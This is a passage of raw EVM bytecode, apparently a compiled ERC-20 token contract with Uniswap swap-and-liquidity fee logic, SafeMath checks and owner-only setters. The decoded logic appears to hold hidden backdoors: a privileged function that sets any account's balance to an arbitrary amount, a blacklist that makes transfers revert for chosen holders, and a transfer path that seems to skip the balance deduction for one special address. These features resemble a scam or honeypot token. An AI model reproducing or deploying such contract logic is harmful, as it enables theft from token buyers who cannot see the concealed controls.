28403121562000afd5762000afc62000f11565b5b600062000b0d8482850162000acd565b91505092915050565b62000b218162000e32565b82525050565b600062000b36601b8362000bcb565b915062000b438262000f23565b602082019050919050565b62000b598162000e66565b82525050565b600060408201905062000b76600083018562000b16565b62000b85602083018462000b16565b9392505050565b6000602082019050818103600083015262000ba78162000b27565b9050919050565b600060208201905062000bc5600083018462000b4e565b92915050565b600082825260208201905092915050565b600062000be98262000e66565b915062000bf68362000e66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000c2e5762000c2d62000eb3565b5b828201905092915050565b6000808291508390505b600185111562000c8b5780860481111562000c635762000c6262000eb3565b5b600185161562000c735780820291505b808102905062000c838562000f16565b945062000c43565b94509492505050565b600062000ca18262000e66565b915062000cae8362000e70565b925062000cdd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ce5565b905092915050565b60008262000cf7576001905062000dca565b8162000d07576000905062000dca565b816001811462000d20576002811462000d2b5762000d61565b600191505062000dca565b60ff84111562000d405762000d3f62000eb3565b5b8360020a91508482111562000d5a5762000d5962000eb3565b5b5062000dca565b5060208310610133831016604e8410600b841016171562000d9b5782820a90508381111562000d955762000d9462000eb3565b5b62000dca565b62000daa848484600162000c39565b9250905081840481111562000dc45762000dc362000eb3565b5b81810290505b9392505050565b600062000dde8262000e66565b915062000deb8362000e66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000e275762000e2662000eb3565b5b828202905092915050565b600062000e3f8262000e46565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000e9657607f821691505b6020821081141562000ead5762000eac62000ee2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b62000f578162000e32565b811462000f6357600080fd5b50565b60805160601c614ad462000f8c60003960008181611230015261125c0152614ad46000f3fe60806040526004361061038f5760003560e01c80638da5cb5b116101dc578063c5d2418911610102578063dc44b6a0116100a0578063f1d5f5171161006f578063f1d5f51714610dba578063f207d57514610de3578063f2fde38b14610e0e578063f872858a14610e3757610396565b8063dc44b6a014610cfc578063dd62ed3e14610d27578063f029f7d714610d64578063f0cd1dac14610d8f57610396565b8063c867d60b116100dc578063c867d60b14610c40578063cab0347114610c7d578063d469a20914610ca8578063da00097d14610cd157610396565b8063c5d2418914610bbf578063c816841b14610bea578063c860795214610c1557610396565b8063a457c2d71161017a578063ae2116b811610149578063ae2116b814610b05578063c2d4640e14610b42578063c469b6dd14610b6b578063c49b9a8014610b9657610396565b8063a457c2d714610a37578063a5d69d1f14610a74578063a83f53a714610a9d578063a9059cbb14610ac857610396565b8063a08e671f116101b6578063a08e671f14610991578063a1c9c3e2146109bc578063a2227a7a146109e5578063a2a6272214610a0e57610396565b80638da5cb5b1461091057806395d89b411461093b578063a073d37f1461096657610396565b806339509351116102c157806361a23c691161025f578063807c2d9c1161022e578063807c2d9c1461085257806382eefb431461087d57806388790a68146108a85780638b42507f146108d357610396565b806361a23c69146107965780636249faf1146107c157806370a08231146107ea5780637d1db4a51461082757610396565b806347be85741161029b57806347be8574146106c65780634a74bb021461070357806357a5802f1461072e5780635881f3ef1461075957610396565b806339509351146106235780633b97084a146106605780633ecad2711461068957610396565b80632563ae831161032e5780632c4b2334116103085780632c4b2334146105695780632f1d9ddd14610592578063313ce567146105cf57806335d23615146105fa57610396565b80632563ae83146104ea57806327c8f835146105135780632b112e491461053e57610396565b80631245e3471161036a5780631245e3471461042c5780631694505e1461045757806318160ddd1461048257806323b872dd146104ad57610396565b80625e18071461039b57806306fdde03146103c4578063095ea7b3146103ef57610396565b3661039657005b600080fd5b3480156103a757600080fd5b506103c260048036038101906103bd9190613dbf565b610e62565b005b3480156103d057600080fd5b506103d9610f9c565b6040516103e69190614291565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190613d7f565b61102e565b604051610423919061425b565b60405180910390f35b34801561043857600080fd5b5061044161104c565b60405161044e91906141b6565b60405180910390f35b34801561046357600080fd5b5061046c611072565b6040516104799190614276565b60405180910390f35b34801561048e57600080fd5b50610497611098565b6040516104a49190614393565b60405180910390f35b3480156104b957600080fd5b506104d460048036038101906104cf9190613d2c565b6110a2565b6040516104e1919061425b565b60405180910390f35b3480156104f657600080fd5b50610511600480360381019061050c9190613e7f565b61117c565b005b34801561051f57600080fd5b5061052861122e565b604051610535919061419b565b60405180910390f35b34801561054a57600080fd5b50610553611252565b6040516105609190614393565b60405180910390f35b34801561057557600080fd5b50610590600480360381019061058b9190613c92565b611296565b005b34801561059e57600080fd5b506105b960048036038101906105b49190613c92565b61136f565b6040516105c6919061425b565b60405180910390f35b3480156105db57600080fd5b506105e461138f565b6040516105f19190614438565b60405180910390f35b34801561060657600080fd5b50610621600480360381019061061c9190613c92565b6113a6565b005b34801561062f57600080fd5b5061064a60048036038101906106459190613d7f565b61147f565b604051610657919061425b565b60405180910390f35b34801561066c57600080fd5b5061068760048036038101906106829190613eac565b611532565b005b34801561069557600080fd5b506106b060048036038101906106ab9190613c92565b6115d1565b6040516106bd919061425b565b60405180910390f35b3480156106d257600080fd5b506106ed60048036038101906106e89190613c92565b6115f1565b6040516106fa919061425b565b60405180910390f35b34801561070f57600080fd5b50610718611611565b604051610725919061425b565b60405180910390f35b34801561073a57600080fd5b50610743611624565b6040516107509190614393565b60405180910390f35b34801561076557600080fd5b50610780600480360381019061077b9190613c92565b61162a565b60405161078d919061419b565b60405180910390f35b3480156107a257600080fd5b506107ab611b88565b6040516107b89190614393565b60405180910390f35b3480156107cd57600080fd5b506107e860048036038101906107e39190613dbf565b611b8e565b005b3480156107f657600080fd5b50610811600480360381019061080c9190613c92565b611cc8565b60405161081e9190614393565b60405180910390f35b34801561083357600080fd5b5061083c611d11565b6040516108499190614393565b60405180910390f35b34801561085e57600080fd5b50610867611d17565b6040516108749190614393565b60405180910390f35b34801561088957600080fd5b50610892611d1d565b60405161089f9190614393565b60405180910390f35b3480156108b457600080fd5b506108bd611d23565b6040516108ca9190614393565b60405180910390f35b3480156108df57600080fd5b506108fa60048036038101906108f59190613c92565b611d29565b604051610907919061425b565b60405180910390f35b34801561091c57600080fd5b50610925611d49565b604051610932919061419b565b60405180910390f35b34801561094757600080fd5b50610950611d72565b60405161095d9190614291565b60405180910390f35b34801561097257600080fd5b5061097b611e04565b6040516109889190614393565b60405180910390f35b34801561099d57600080fd5b506109a6611e0e565b6040516109b39190614393565b60405180910390f35b3480156109c857600080fd5b506109e360048036038101906109de9190613d7f565b611e14565b005b3480156109f157600080fd5b50610a0c6004803603810190610a079190613e1f565b611e94565b005b348015610a1a57600080fd5b50610a356004803603810190610a309190613ed9565b612010565b005b348015610a4357600080fd5b50610a5e6004803603810190610a599190613d7f565b6120f0565b604051610a6b919061425b565b60405180910390f35b348015610a8057600080fd5b50610a9b6004803603810190610a969190613e7f565b6121bd565b005b348015610aa957600080fd5b50610ab261226f565b604051610abf9190614393565b60405180910390f35b348015610ad457600080fd5b50610aef6004803603810190610aea9190613d7f565b612275565b604051610afc919061425b565b60405180910390f35b348015610b1157600080fd5b50610b2c6004803603810190610b279190613c92565b612294565b604051610b39919061425b565b60405180910390f35b348015610b4e57600080fd5b50610b696004803603810190610b649190613ed9565b6122b4565b005b348015610b7757600080fd5b50610b80612394565b604051610b8d9190614393565b60405180910390f35b348015610ba257600080fd5b50610bbd6004803603810190610bb89190613e7f565b61239a565b005b348015610bcb57600080fd5b50610bd4612483565b604051610be19190614393565b60405180910390f35b348015610bf657600080fd5b50610bff612489565b604051610c0c919061419b565b60405180910390f35b348015610c2157600080fd5b50610c2a6124af565b604051610c379190614393565b60405180910390f35b348015610c4c57600080fd5b50610c676004803603810190610c629190613c92565b6124b5565b604051610c74919061425b565b60405180910390f35b348015610c8957600080fd5b50610c926124d5565b604051610c9f9190614393565b60405180910390f35b348015610cb457600080fd5b50610ccf6004803603810190610cca9190613ed9565b6124db565b005b348015610cdd57600080fd5b50610ce66125bb565b604051610cf3919061425b565b60405180910390f35b348015610d0857600080fd5b50610d116125ce565b604051610d1e9190614393565b60405180910390f35b348015610d3357600080fd5b50610d4e6004803603810190610d499190613cec565b6125d4565b604051610d5b9190614393565b60405180910390f35b348015610d7057600080fd5b50610d7961265b565b604051610d869190614393565b60405180910390f35b348015610d9b57600080fd5b50610da4612661565b604051610db19190614393565b60405180910390f35b348015610dc657600080fd5b50610de16004803603810190610ddc9190613eac565b612667565b005b348015610def57600080fd5b50610df8612706565b604051610e0591906141b6565b60405180910390f35b348015610e1a57600080fd5b50610e356004803603810190610e309190613c92565b61272c565b005b348015610e4357600080fd5b50610e4c61287e565b604051610e59919061425b565b60405180910390f35b610e6a6128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90614373565b60405180910390fd5b60005b83839050811015610f96578160086000868685818110610f1d57610f1c6147a7565b5b9050602002016020810190610f329190613c92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f8e906146d1565b915050610efa565b50505050565b606060028054610fab9061469f565b80601f0160208091040260200160405190810160405280929190818152602001828054610fd79061469f565b80156110245780601f10610ff957610100808354040283529160200191611024565b820191906000526020600020905b81548152906001019060200180831161100757829003601f168201915b5050505050905090565b600061104261103b6128ef565b84846128f7565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b60006110af848484612ac2565b50611171846110bc6128ef565b61116c85604051806060016040528060288152602001614a5260289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111226128ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612efb9092919063ffffffff16565b6128f7565b600190509392505050565b6111846128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611211576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120890614373565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006112916112807f0000000000000000000000000000000000000000000000000000000000000000611cc8565b601a54612f5f90919063ffffffff16565b905090565b61129e6128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132290614373565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600460009054906101000a900460ff16905090565b6113ae6128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461143b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143290614373565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061152861148c6128ef565b84611523856007600061149d6128ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289190919063ffffffff16565b6128f7565b6001905092915050565b61153a6128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115be90614373565b60405180910390fd5b80601d8190555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b601f60159054906101000a900460ff1681565b60145481565b60006116346128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b890614373565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561170c57600080fd5b505afa158015611720573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117449190613cbf565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117a657600080fd5b505afa1580156117ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117de9190613cbf565b6040518363ffffffff1660e01b81526004016117fb9291906141d1565b60206040518083038186803b15801561181357600080fd5b505afa158015611827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184b9190613cbf565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a0c578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156118c857600080fd5b505afa1580156118dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119009190613cbf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561196257600080fd5b505afa158015611976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061199a9190613cbf565b6040518363ffffffff1660e01b81526004016119b79291906141d1565b602060405180830381600087803b1580156119d157600080fd5b505af11580156119e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a099190613cbf565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60155481565b611b966128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1a90614373565b60405180910390fd5b60005b83839050811015611cc2578160096000868685818110611c4957611c486147a7565b5b9050602002016020810190611c5e9190613c92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611cba906146d1565b915050611c26565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601b5481565b601c5481565b60185481565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054611d819061469f565b80601f0160208091040260200160405190810160405280929190818152602001828054611dad9061469f565b8015611dfa5780601f10611dcf57610100808354040283529160200191611dfa565b820191906000526020600020905b815481529060010190602001808311611ddd57829003601f168201915b5050505050905090565b6000601d54905090565b60195481565b611e426001600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633612fa9565b611e4b57611e90565b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b611ec26001600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633612fa9565b611ecb5761200b565b60005b838390508110156120095760088214611f6e57600180611eec575060005b600d6000868685818110611f0357611f026147a7565b5b9050602002016020810190611f189190613c92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611ff8565b60018015611f7a575060005b600d6000868685818110611f9157611f906147a7565b5b9050602002016020810190611fa69190613c92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80612002906146d1565b9050611ece565b505b505050565b6120186128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c90614373565b60405180910390fd5b8260118190555081601281905550806013819055506120e56013546120d760125460115461289190919063ffffffff16565b61289190919063ffffffff16565b601881905550505050565b60006121b36120fd6128ef565b846121ae85604051806060016040528060258152602001614a7a60259139600760006121276128ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612efb9092919063ffffffff16565b6128f7565b6001905092915050565b6121c56128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612252576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224990614373565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b60006122896122826128ef565b8484612ac2565b506001905092915050565b600c6020528060005260406000206000915054906101000a900460ff1681565b6122bc6128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234090614373565b60405180910390fd5b82601481905550816015819055508060168190555061238960165461237b60155460145461289190919063ffffffff16565b61289190919063ffffffff16565b601981905550505050565b60105481565b6123a26128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461242f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242690614373565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051612478919061425b565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b6124e36128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256790614373565b60405180910390fd5b82600e8190555081600f81905550806010819055506125b06010546125a2600f54600e5461289190919063ffffffff16565b61289190919063ffffffff16565b601781905550505050565b601f60169054906101000a900460ff1681565b600e5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60015481565b60175481565b61266f6128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f390614373565b60405180910390fd5b80601c8190555050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6127346128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b890614373565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b60008082846128a091906144a8565b9050838110156128e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128dc90614313565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295e906142d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ce906142f3565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612ab59190614393565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2a90614333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9a906142b3565b60405180910390fd5b601f60149054906101000a900460ff1615612bca57612bc3848484612fee565b9050612ef4565b6000612bd530611cc8565b90506000601d548210159050808015612bfb5750601f60149054906101000a900460ff16155b8015612c515750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c695750601f60159054906101000a900460ff165b15612c9357601f60169054906101000a900460ff1615612c8957601d5491505b612c92826131c1565b5b612c9c866133b2565b15612d3757612cf384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f5f90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612dda5750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612dee57612de98787876133f5565b612df0565b845b9050612e4481600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289190919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ee49190614393565b60405180910390a3600193505050505b9392505050565b6000838311158290612f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3a9190614291565b60405180910390fd5b5060008385612f529190614589565b9050809150509392505050565b6000612fa183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612efb565b905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415158015612fe55750835b90509392505050565b6000613079826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612efb9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061310e82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289190919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516131ae9190614393565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff021916908315150217905550600061321a600261320c6019546131fe601454876136c590919063ffffffff16565b61374090919063ffffffff16565b61374090919063ffffffff16565b905060006132318284612f5f90919063ffffffff16565b905061323c8161378a565b6000479050600061326d61325c600260145461374090919063ffffffff16565b601954612f5f90919063ffffffff16565b905060006132ab600261329d8461328f601454886136c590919063ffffffff16565b61374090919063ffffffff16565b61374090919063ffffffff16565b905060006132d6836132c8601654876136c590919063ffffffff16565b61374090919063ffffffff16565b905060006132ff826132f18588612f5f90919063ffffffff16565b612f5f90919063ffffffff16565b9050600081111561333757613336600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613a15565b5b600082111561336d5761336c600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613a15565b5b60008311801561337d5750600087115b1561338d5761338c8784613a60565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff166133d6600154613b54565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166134a557600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156134a457600080fd5b5b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135265761351f6064613511601754866136c590919063ffffffff16565b61374090919063ffffffff16565b90506135a4565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135a3576135a06064613592601854866136c590919063ffffffff16565b61374090919063ffffffff16565b90505b5b60008111156136a8576135ff81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289190919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161369f9190614393565b60405180910390a35b6136bb8184612f5f90919063ffffffff16565b9150509392505050565b6000808314156136d8576000905061373a565b600082846136e6919061452f565b90508284826136f591906144fe565b14613735576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161372c90614353565b60405180910390fd5b809150505b92915050565b600061378283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b66565b905092915050565b6000600267ffffffffffffffff8111156137a7576137a66147d6565b5b6040519080825280602002602001820160405280156137d55781602001602082028036833780820191505090505b50905030816000815181106137ed576137ec6147a7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561388f57600080fd5b505afa1580156138a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138c79190613cbf565b816001815181106138db576138da6147a7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061394230601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128f7565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016139a69594939291906143de565b600060405180830381600087803b1580156139c057600080fd5b505af11580156139d4573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613a099291906143ae565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613a5b573d6000803e3d6000fd5b505050565b613a8d30601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128f7565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613ad9611d49565b426040518863ffffffff1660e01b8152600401613afb969594939291906141fa565b6060604051808303818588803b158015613b1457600080fd5b505af1158015613b28573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060